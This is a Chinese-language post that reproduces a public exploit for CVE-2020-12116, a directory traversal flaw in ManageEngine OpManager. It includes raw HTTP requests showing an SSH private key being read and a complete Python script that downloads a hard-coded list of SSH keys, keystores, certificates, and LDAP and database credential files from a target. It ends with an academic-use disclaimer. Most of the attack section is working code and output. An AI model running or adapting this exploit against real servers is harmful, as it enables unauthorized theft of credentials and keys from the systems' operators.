ManageEngine OpManger 任意文件读漏洞 Exp (CVE-2020-12116)

GitHub

https://github.com/BeetleChunks/CVE-2020-12116

CVE-2020-12116漏洞摘要

最新版本的OpManger包含一个目录遍历漏洞

该漏洞允许不受限制地访问OpManager应用程序中的每个文件。
这包括私有SSH密钥,受密码保护的Java密钥库以及包含密钥库,私有证书和后端数据库的密码的配置文件。如果配置了LDAP,则可以从“ conf / OpManager / ldap.conf”获得域凭据。

漏洞分析

默认情况下,在端口8060上,对ManageEngine OpManager Application的根目录发出未经身份验证的GET请求。

GET / HTTP/1.1
Host: <HOSTNAME>:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

响应HTML将包含缓存的javascript“ src” URL。

<SCRIPT LANGUAGE="javascript" SRC="/cachestart/125116/cacheend/apiclient/fluidicv2/
javascript/jquery/jquery-3.4.1.min.js"></SCRIPT>

上面的摘录“ SRC” URL包含一个目录遍历漏洞,允许从ManageEngine根安装目录读取任意文件。默认情况下,安装路径为“ C:\ Program Files \ ManageEngine \ OpManager”。

注意:“ / cachestart /”后面的数字是产品内部版本号,但是可以使用任何数字来利用此漏洞。

利用响应HTML中的脚本源URL,可以利用带有目录遍历的GET请求从远程服务器读取任意文件。

请求:

GET /cachestart/125116/cacheend/apiclient/fluidicv2/javascript/jquery/../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: <HOSTNAME>:8060
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cache-Control: max-age=0
Referer: http://<HOSTNAME>:8060/

响应:

HTTP/1.1 200 
Set-Cookie: JSESSIONID=4E221B342BC080BC9AC2D19378364E3B; Path=/; HttpOnly
X-FRAME-OPTIONS: DENY
Accept-Ranges: bytes
ETag: W/"902-1586033949624"
Last-Modified: Sat, 04 Apr 2020 20:59:09 GMT
Vary: Accept-Encoding
Date: Mon, 13 Apr 2020 15:40:01 GMT
Connection: close
Content-Length: 902

-----BEGIN RSA PRIVATE KEY-----
MIICX...pXqnO
-----END RSA PRIVATE KEY-----
ManageEngine OpManger 任意文件读漏洞 Exp (CVE-2020-12116)
ManageEngine OpManger 任意文件读漏洞 Exp (CVE-2020-12116)

使用提供的Python3利用代码的示例

概述:

此脚本利用针对ManageEngine的任意文件读取漏洞
OpManager端点下载敏感文件,如私钥、私钥
密钥库、证书、包含密码的配置文件等。

命令:

python3 exploit.py -t <hostname/IP> -p 8060 -d ./

输出:

[+] bin/.ssh_host_dsa_key saved to ./bin|.ssh_host_dsa_key
[+] bin/.ssh_host_dsa_key.pub saved to ./bin|.ssh_host_dsa_key.pub
[+] bin/.ssh_host_rsa_key saved to ./bin|.ssh_host_rsa_key
[+] bin/.ssh_host_rsa_key.pub saved to ./bin|.ssh_host_rsa_key.pub
[+] conf/client.keystore saved to ./conf|client.keystore
[+] conf/customer-config.xml saved to ./conf|customer-config.xml
[+] conf/database_params.conf saved to ./conf|database_params.conf
[+] conf/FirewallAnalyzer/aaa_auth-conf.xml saved to ./conf|FirewallAnalyzer|aaa_auth-conf.xml
[+] conf/FirewallAnalyzer/auth-conf_ppm.xml saved to ./conf|FirewallAnalyzer|auth-conf_ppm.xml
[+] conf/gateway.conf saved to ./conf|gateway.conf
[+] conf/itom.truststore saved to ./conf|itom.truststore
[+] conf/netflow/auth-conf.xml saved to ./conf|netflow|auth-conf.xml
[+] conf/netflow/server.xml saved to ./conf|netflow|server.xml
[+] conf/netflow/ssl_server.xml saved to ./conf|netflow|ssl_server.xml
[+] conf/NFAEE/cs_server.xml saved to ./conf|NFAEE|cs_server.xml
[+] conf/OpManager/database_params.conf saved to ./conf|OpManager|database_params.conf
[+] conf/OpManager/database_params_DE.conf saved to ./conf|OpManager|database_params_DE.conf
[+] conf/OpManager/ldap.conf saved to ./conf|OpManager|ldap.conf
[+] conf/OpManager/MicrosoftSQL/database_params.conf saved to ./conf|OpManager|MicrosoftSQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params.conf saved to ./conf|OpManager|POSTGRESQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params_DE.conf saved to ./conf|OpManager|POSTGRESQL|database_params_DE.conf
[+] conf/OpManager/securitydbData.xml saved to ./conf|OpManager|securitydbData.xml
[+] conf/OpManager/SnmpDefaultProperties.xml saved to ./conf|OpManager|SnmpDefaultProperties.xml
[+] conf/Oputils/snmp/Community.xml saved to ./conf|Oputils|snmp|Community.xml
[+] conf/Persistence/DBconfig.xml saved to ./conf|Persistence|DBconfig.xml
[+] conf/Persistence/persistence-configurations.xml saved to ./conf|Persistence|persistence-configurations.xml
[+] conf/pmp/PMP_API.conf saved to ./conf|pmp|PMP_API.conf
[+] conf/pmp/pmp_server_cert.p12 saved to ./conf|pmp|pmp_server_cert.p12
[+] conf/product-config.xml saved to ./conf|product-config.xml
[+] conf/SANSeed.xml saved to ./conf|SANSeed.xml
[+] conf/server.keystore saved to ./conf|server.keystore
[+] conf/server.xml saved to ./conf|server.xml
[+] conf/system_properties.conf saved to ./conf|system_properties.conf
[+] conf/tomcat-users.xml saved to ./conf|tomcat-users.xml
[+] lib/OPM_APNS_Cert.p12 saved to ./lib|OPM_APNS_Cert.p12

Exploit.py

import os
import argparse
import urllib.error

from urllib.request import urlopen
from random import randint

def save_to_file(data, dest_file):
	with open(dest_file, "wb") as file_out:
		file_out.write(data)

def exploit(host, port, target_file, ssl=False):
	uri  = f"/cachestart/{randint(1,6)}/cacheend/apiclient"
	uri += f"/fluidicv2/javascript/jquery/../../../../{target_file}"

	port = str(int(port))

	if ssl == True:
		if port == "443":
			base_url = f"https://{host}"
		else:
			base_url = f"https://{host}:{port}"

	elif ssl == False:
		if port == "80":
			base_url = f"http://{host}"
		else:
			base_url = f"http://{host}:{port}"

	url = f"{base_url}{uri}"

	resp = urlopen(url)
	data = resp.read()

	return data

def main():
	parser = argparse.ArgumentParser()

	parser.add_argument('-t', action="store", dest="target",
		default=None, help="Target IP or hostname to exploit")

	parser.add_argument('-p', action="store", dest="port",
		type=int, default=8060, help="Remote port of the target")
	
	parser.add_argument('-d', action="store", dest="loot_dir",
		default="./", help="Directory to store loot")
	
	parser.add_argument('-s', action='store_true', dest="arg_ssl",
		default=False, help="Target uses SSL")

	args = parser.parse_args()

	if args.target == None:
		print("Error: You must specify the target host with the '-t' flag")
		os._exit(1)

	target_files = [
		"bin/.ssh_host_dsa_key",
		"bin/.ssh_host_dsa_key.pub",
		"bin/.ssh_host_rsa_key",
		"bin/.ssh_host_rsa_key.pub",
		"conf/client.keystore",
		"conf/customer-config.xml",
		"conf/database_params.conf",
		"conf/FirewallAnalyzer/aaa_auth-conf.xml",
		"conf/FirewallAnalyzer/auth-conf_ppm.xml",
		"conf/gateway.conf",
		"conf/itom.truststore",
		"conf/netflow/auth-conf.xml",
		"conf/netflow/server.xml",
		"conf/netflow/ssl_server.xml",
		"conf/NFAEE/cs_server.xml",
		"conf/OpManager/database_params.conf",
		"conf/OpManager/database_params_DE.conf",
		"conf/OpManager/ldap.conf",
		"conf/OpManager/MicrosoftSQL/database_params.conf",
		"conf/OpManager/POSTGRESQL/database_params.conf",
		"conf/OpManager/POSTGRESQL/database_params_DE.conf",
		"conf/OpManager/securitydbData.xml",
		"conf/OpManager/SnmpDefaultProperties.xml",
		"conf/Oputils/snmp/Community.xml",
		"conf/Persistence/DBconfig.xml",
		"conf/Persistence/persistence-configurations.xml",
		"conf/pmp/PMP_API.conf",
		"conf/pmp/pmp_server_cert.p12",
		"conf/product-config.xml",
		"conf/SANSeed.xml",
		"conf/server.keystore",
		"conf/server.xml",
		"conf/system_properties.conf",
		"conf/tomcat-users.xml",
		"lib/OPM_APNS_Cert.p12"
	]
	
	for file in target_files:
		try:
			data = exploit(args.target, args.port, file, ssl=False)
		
		except urllib.error.HTTPError as e:
			print(f"[-] {file} - {str(e)}")
			continue

		dest = args.loot_dir + file.replace('/', '|').strip()
		save_to_file(data, dest)

		print(f"[+] {file} saved to {dest}")

if __name__ == '__main__':
	main()

免责声明

此概念证明代码是为学术研究而创建的,除非明确授权,否则不得将其用于系统。该代码按原样提供,没有任何保证或承诺。我对滥用此代码概不负责。